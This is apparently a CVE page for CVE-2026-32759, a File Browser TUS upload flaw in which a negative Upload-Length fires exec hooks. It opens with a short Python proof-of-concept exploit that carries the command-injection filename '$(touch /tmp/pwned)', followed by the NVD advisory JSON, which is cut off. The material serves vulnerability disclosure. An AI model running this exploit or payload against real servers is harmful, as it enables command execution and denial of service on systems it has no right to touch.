CVE-2026-32759

import requests # Exploit for CVE-2026-32759 # Target: File Browser <= 2.61.2 with TUS enabled target_url = "http://localhost:8080/api/tus/" upload_id = "test_upload_id" # Valid or assumed upload ID headers = { "Upload-Length": "-1", # Vulnerable parameter: negative integer "Tus-Resumable": "1.0.0", "Content-Type": "application/offset+octet-stream", # Malicious filename to trigger command injection if exec hooks are enabled "X-File-Name": "$(touch /tmp/pwned)" } # Send PATCH request to trigger the hook with empty body response = requests.patch(target_url + upload_id, headers=headers, data=b"") print(f"Status Code: {response.status_code}") print(f"Response Body: {response.text}")

{"cve": {"id": "CVE-2026-32759", "sourceIdentifier": "[email protected]", "published": "2026-03-20T00:16:17.270", "lastModified": "2026-03-23T16:54:09.273", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "File Browser is a file managing interface for uploading, deleting, previewing, renaming, and editing files within a specified directory. In versions 2.61.2 and below, the TUS resumable upload handler parses the Upload-Length header as a signed 64-bit integer without validating that the value is non-negative, allowing an authenticated user to supply a negative value that instantly satisfies the upload completion condition upon the first PATCH request. This causes the server to fire after_upload exec hooks with empty or partial files, enabling an attacker to repeatedly trigger any configured hook with arbitrary filenames and zero bytes written. The impact ranges from DoS through expensive processing hooks, to command injection amplification when combined with malicious filenames, to abuse of upload-driven workflows like S3 ingestion or database inserts. Even without exec hooks enabled, the negative Upload-Length creates inconsistent cache entries where files are marked complete but contain no data. All deployments using the TUS upload endpoint (/api/tus) are affected, with the enableExec flag escalating the impact from cache inconsistency to remote command execution. At the time of publication, no patch or mitigation was available to address this issue."}, {"lang": "es", "value": "Navegador de Archivos es una interfaz de gestión de archivos para subir, eliminar, previsualizar, renombrar y editar archivos dentro de un directorio especificado. En las versiones 2.61.2 e inferiores, el gestor de carga reanudable TUS analiza el encabezado Upload-Length como un entero con signo de 64 bits sin validar que el valor no sea negativo, permitiendo a un usuario autenticado proporcionar un valor negativo que satisface instantáneamente la condición de finalización de la carga tras la primera solicitud PATCH. Esto hace que el servidor dispare ganchos de ejecución 'after_upload' con archivos vacíos o parciales, permitiendo a un atacante activar repetidamente cualquier gancho configurado con nombres de archivo arbitrarios y cero bytes escritos. El impacto abarca desde DoS a través de ganchos de procesamiento costosos, hasta la amplificación de la inyección de comandos cuando se combina con nombres de archivo maliciosos, hasta el abuso de flujos de trabajo impulsados por la carga como la ingesta de S3 o las inserciones en la base de datos. Incluso sin los ganchos de ejecución habilitados, el Upload-Length negativo crea entradas de caché inconsistentes donde los archivos se marcan como completos pero no contienen datos. Todas las implementaciones que utilizan el punto final de carga TUS (/api/tus) se ven afectadas, con la bandera 'enableExec' escalando el impacto desde la inconsistencia de la caché hasta la ejecución remota de comandos. En el momento de la publicación, no había ningún parche o mitigación disponible para abordar este problema."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:L/VA:L/SC:N/SI:L/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "LOW", "subAvailabilityImpact": "LOW", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NON ... (truncated)